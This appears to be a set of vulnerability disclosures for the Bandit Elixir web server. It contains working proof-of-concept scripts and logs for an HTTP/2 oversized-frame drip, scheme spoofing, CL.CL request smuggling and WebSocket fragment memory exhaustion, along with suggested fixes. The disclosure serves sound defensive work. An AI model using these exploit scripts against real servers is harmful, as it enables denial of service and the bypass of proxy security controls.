Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.

Summary

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path:

• HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1.
• HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

• Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
• Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them.
• Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
• Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application — even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http — bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()

12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.

Summary

Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af

Details

Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.

Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.

PoC

The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs

On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.

Impact

Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.

The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.

Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.

Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.

• Bandit directly on the internet: spec violation, no exploit.
• Bandit behind a major CDN/LB: almost certainly safe.
• Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.

Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.

Script and Logs

# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule DemoApp do
  @behaviour Plug

  import Plug.Conn

  def init(opts), do: opts

  def call(conn, _opts) do
    send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
  end
end

defmodule Smuggle do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    request = build_smuggling_request()
    log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    :ok = :gen_tcp.send(sock, request)

    response = read_all(sock)
    :gen_tcp.close(sock)

    log("Response stream:\n#{response}")
    diagnose(response)
  end

  # POST with two Content-Length headers, plus a smuggled GET line in the
  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)
  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request
  # line either gets parsed as a new request on the keep-alive connection
  # or stays in the buffer.
  defp build_smuggling_request do
    smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
    smuggled_size = byte_size(smuggled_request)

    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1\r\n" <>
      "Content-Length: 0\r\n" <>
      "Content-Length: #{smuggled_size}\r\n" <>
      "\r\n" <>
      smuggled_request
  end

  defp read_all(sock, accumulated \\ "") do
    case :gen_tcp.recv(sock, 0, 2_000) do
      {:ok, bytes} -> read_all(sock, accumulated <> bytes)
      {:error, _reason} -> accumulated
    end
  end

  # Three observable outcomes:
  #   - 400 Bad Request -> RFC-conformant rejection (not what current
  #     Bandit does).
  #   - Two responses, second one for /smuggled -> Bandit dispatched the
  #     smuggled request as a second pipelined request.
  #   - One response -> Bandit accepted Content-Length: 0, the smuggled
  #     bytes sat in the keep-alive buffer; with a CL-last frontend this
  #     becomes a smuggled request on the next request boundary.
  defp diagnose(response) do
    response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.flatten()
    log("HTTP/1.x response lines observed: #{length(response_lines)}")
    Enum.each(response_lines, fn line -> log("  #{line}") end)

    cond do
      response =~ ~r/^HTTP\/1\.[01] 400/ ->
        log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")

      response =~ "/smuggled" ->
        log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")

      length(response_lines) == 1 ->
        log("ACCEPTED: Bandit took the first Content-Length (0) and left the")
        log("smuggled request line in the keep-alive buffer. Combined with a")
        log("CL-last frontend this becomes request smuggling.")

      true ->
        log("Inconclusive - see raw response above.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Smuggle.run()

11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[09:52:23.039] Sending 118-byte CL.CL request:
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Content-Length: 43

GET /smuggled HTTP/1.1
Host: 127.0.0.1


[09:52:25.057] Response stream:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 19
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=POST path=/
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 26
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=GET path=/smuggled

[09:52:25.057] HTTP/1.x response lines observed: 2
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.

Summary

A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every Continuation{fin: false} frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting fin=1) grows BEAM heap linearly until the OS or a supervisor kills the process. max_frame_size only bounds individual frames; there is no max_message_size option available today.

Details

The bug is in lib/bandit/websocket/connection.ex, in the fragment branch of handle_frame/3 (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as [connection.fragment_frame.data | frame.data] with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When fin=1 finally arrives (if ever), IO.iodata_to_binary/1 flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send fin=1 — simply holding the connection open is enough to pin the bytes.

Suggested fix: track a running cumulative byte count on the connection state and add a configurable max_message_size. When exceeded, terminate the connection with RFC 6455 close code 1009 (:max_message_size_exceeded) instead of continuing to append.

PoC

A self-contained reproduction script is below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial WebSock echo handler, completes a WebSocket handshake, sends one text frame with fin=0, then streams up to 4096 continuation frames of 1 MiB each — also fin=0. A background sampler logs :erlang.memory(:total) every 250 ms.

A correctly-fixed server would close the connection with code 1009 once max_message_size is exceeded.

Impact

Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.

Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over WebSock on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at /live. Plug apps that mount any custom WebSock handler are equally affected. Applications that expose no WebSocket endpoints are not.

The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens before WebSock.handle_in/2 is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.

Script and Logs

# Bandit WebSocket fragmented-message accumulation PoC.
#
# lib/bandit/websocket/connection.ex:80-95 appends every incoming
# Continuation{fin: false} frame's payload to connection.fragment_frame.data
# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*
# frame; a peer that streams an unbounded number of max-sized continuations
# without ever setting fin=1 grows the iolist linearly in BEAM memory until
# the OS kills the process. The eventual IO.iodata_to_binary/1 in the
# fin=true branch also momentarily doubles peak memory.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,
# sends one text frame with fin=0 followed by a continuous stream of
# continuation frames (also fin=0), and samples BEAM memory while doing so.
# A correct server would close the connection with 1009 once a configured
# max-message-size is exceeded; the buggy server keeps growing.
#
# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, [])
    |> Plug.Conn.halt()
  end
end

defmodule FragmentFlood do
  @port 4321
  @fragment_payload_bytes 1 * 1024 * 1024
  @fragment_count 4096
  @sample_every_ms 250

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    sampler_pid = spawn_link(&sample_memory_loop/0)

    payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes)
    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)
    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)

    log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).")
    :ok = :gen_tcp.send(sock, starting_text_frame)

    log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).")
    Enum.each(1..@fragment_count, fn index ->
      case :gen_tcp.send(sock, continuation_frame) do
        :ok ->
          if rem(index, 64) == 0 do
            log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).")
          end

        {:error, reason} ->
          log("Server closed connection after #{index} continuations: #{inspect(reason)}")
          throw(:server_closed)
      end
    end)

    log("Finished sending. Never sent fin=1 — server should still be holding the iolist.")
    Process.sleep(2_000)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  catch
    :server_closed -> log("Server appears to enforce a cap — bug not present or mitigated.")
  end

  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake failed:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;
  # opcode is the low nibble. Client→server frames must be masked per RFC 6455.
  defp build_frame(opcode, fin, payload) do
    fin_bit = if fin, do: 1, else: 0
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<fin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(@sample_every_ms)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FragmentFlood.run()

13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[11:04:30.812] Handshake complete.
[11:04:30.815] [mem] BEAM total = 49 MiB
[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).
[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).
[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).
[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).
[11:04:31.065] [mem] BEAM total = 185 MiB
[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).
[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).
[11:04:31.316] [mem] BEAM total = 322 MiB
[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).
[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).
[11:04:31.567] [mem] BEAM total = 463 MiB
[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).
[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).
[11:04:31.818] [mem] BEAM total = 602 MiB
[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).
[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).
[11:04:32.069] [mem] BEAM total = 743 MiB
[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).
[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).
[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).
[11:04:32.320] [mem] BEAM total = 887 MiB
[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).
[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).
[11:04:32.571] [mem] BEAM total = 1034 MiB
[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).
[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).
[11:04:32.822] [mem] BEAM total = 1179 MiB
[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).
[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).
[11:04:33.073] [mem] BEAM total = 1323 MiB
[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).
[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).
[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).
[11:04:33.324] [mem] BEAM total = 1466 MiB
[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).
[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).
[11:04:33.575] [mem] BEAM total = 1608 MiB
[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).
[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).
[11:04:33.826] [mem] BEAM total = 1758 MiB
[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).
[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).
[11:04:34.077] [mem] BEAM total = 1901 MiB
[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).
[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).
[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).
[11:04:34.328] [mem] BEAM total = 2048 MiB
[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).
[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).
[11:04:34.579] [mem] BEAM total = 2191 MiB
[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).
[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).
[11:04:34.830] [mem] BEAM total = 2342 MiB
[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).
[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).
[11:04:35.081] [mem] BEAM total = 2480 MiB
[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).
[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).
[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).
[11:04:35.332] [mem] BEAM total = 2620 MiB
[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).
[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).
[11:04:35.583] [mem] BEAM total = 2760 MiB
[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).
[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).
[11:04:35.834] [mem] BEAM total = 2903 MiB
[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).
[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).
[11:04:36.085] [mem] BEAM total = 3045 MiB
[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).
[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).
[11:04:36.336] [mem] BEAM total = 3184 MiB
[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).
[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).
[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).
[11:04:36.587] [mem] BEAM total = 3332 MiB
[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).
